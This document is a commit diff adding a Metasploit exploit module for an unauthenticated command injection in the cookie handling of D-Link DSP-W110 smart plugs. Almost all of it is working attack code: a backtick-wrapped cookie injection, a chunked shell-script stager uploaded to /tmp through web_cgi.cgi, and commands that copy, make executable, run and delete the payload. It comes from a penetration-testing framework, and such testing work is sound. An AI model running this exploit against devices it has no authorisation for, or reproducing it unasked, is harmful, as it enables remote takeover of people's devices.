Land rapid7#5533, DSP-W110 cookie command injection

Author: firefart

modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb

@@ -0,0 +1,152 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::CmdStager
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'D-Link Cookie Command Execution',
+      'Description'    => %q{
+        This module exploits an anonymous remote upload and code execution vulnerability on different
+        D-Link devices. The vulnerability is a command injection in the cookie handling process of the
+        lighttpd web server when handling specially crafted cookie values. This module has been
+        successfully tested on D-Link DSP-W110A1_FW105B01 in emulated environment.
+      },
+      'Author'         =>
+        [
+          'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # vulnerability discovery and initial PoC
+          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
+        ],
+      'License'        => MSF_LICENSE,
+      'Platform'       => 'linux',
+      'References'     =>
+        [
+          ['URL', 'https://github.com/darkarnium/secpub/tree/master/D-Link/DSP-W110'] # blog post including PoC
+        ],
+      'DisclosureDate' => 'Jun 12 2015',
+      'Payload'        =>
+        {
+          'DisableNops' => true
+        },
+      'Targets' =>
+        [
+          [ 'MIPS Little Endian',  # unknown if there are LE devices out there ... but in case we have a target
+            {
+              'Platform' => 'linux',
+              'Arch'     => ARCH_MIPSLE
+            }
+          ],
+          [ 'MIPS Big Endian',
+            {
+              'Platform' => 'linux',
+              'Arch'     => ARCH_MIPSBE
+            }
+          ]
+        ],
+      'DefaultTarget'    => 1
+      ))
+  end
+
+  def check
+    begin
+      res = send_request_cgi({
+        'uri'    => '/',
+        'method' => 'GET'
+      })
+
+      if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/
+        return Exploit::CheckCode::Detected
+      end
+    rescue ::Rex::ConnectionError
+      return Exploit::CheckCode::Unknown
+    end
+
+    Exploit::CheckCode::Unknown
+  end
+
+  def exploit
+    print_status("#{peer} - Trying to access the device ...")
+
+    unless check == Exploit::CheckCode::Detected
+      fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device")
+    end
+
+    print_status("#{peer} - Uploading stager ...")
+    @counter = 1
+    execute_cmdstager(
+      :flavor  => :echo,
+      :linemax => 95  # limited by our upload, larger payloads crash the web server
+    )
+
+    print_status("#{peer} - creating payload and executing it ...")
+
+    (1 .. @counter).each do |act_file|
+      # the http server blocks access to our files ... we copy it to a new one
+      # the length of our command is restricted to 19 characters
+      cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}"
+      execute_final_command(cmd)
+      cmd = "chmod +x /tmp/#{act_file+@counter}"
+      execute_final_command(cmd)
+      cmd = "/tmp/#{act_file+@counter}"
+      execute_final_command(cmd)
+      cmd = "rm /tmp/#{act_file}"
+      execute_final_command(cmd)
+      cmd = "rm /tmp/#{act_file+@counter}"
+      execute_final_command(cmd)
+    end
+  end
+
+  def execute_command(cmd,opts)
+    # upload our stager to a shell script
+    # upload takes quite long because there is no response from the web server
+
+    file_upload = "#!/bin/sh\n"
+    file_upload << cmd << "\n"
+
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(file_upload, nil, "binary", "form-data; name=\"#{rand_text_alpha(4)}\"; filename=\"#{@counter}\"")
+    post_data.bound = "-#{rand_text_alpha(12)}--"
+    file = post_data.to_s
+
+    @counter = @counter + 1
+
+    begin
+      send_request_cgi({
+        'method'        => 'POST',
+        'uri'           => "/web_cgi.cgi",
+        'vars_get' => {
+          '&request' =>'UploadFile',
+          'path' => '/tmp/'
+        },
+        'encode_params' => false,
+        'ctype'         => "multipart/form-data; boundary=#{post_data.bound}",
+        'data'          => file
+      })
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
+
+  end
+
+  def execute_final_command(cmd)
+    # very limited space - larger commands crash the webserver
+    fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18
+    begin
+      send_request_cgi({
+        'method'        => 'GET',
+        'uri'           => "/",
+        'cookie'        => "i=`#{cmd}`"
+      }, 5)
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
+    end
+  end
+end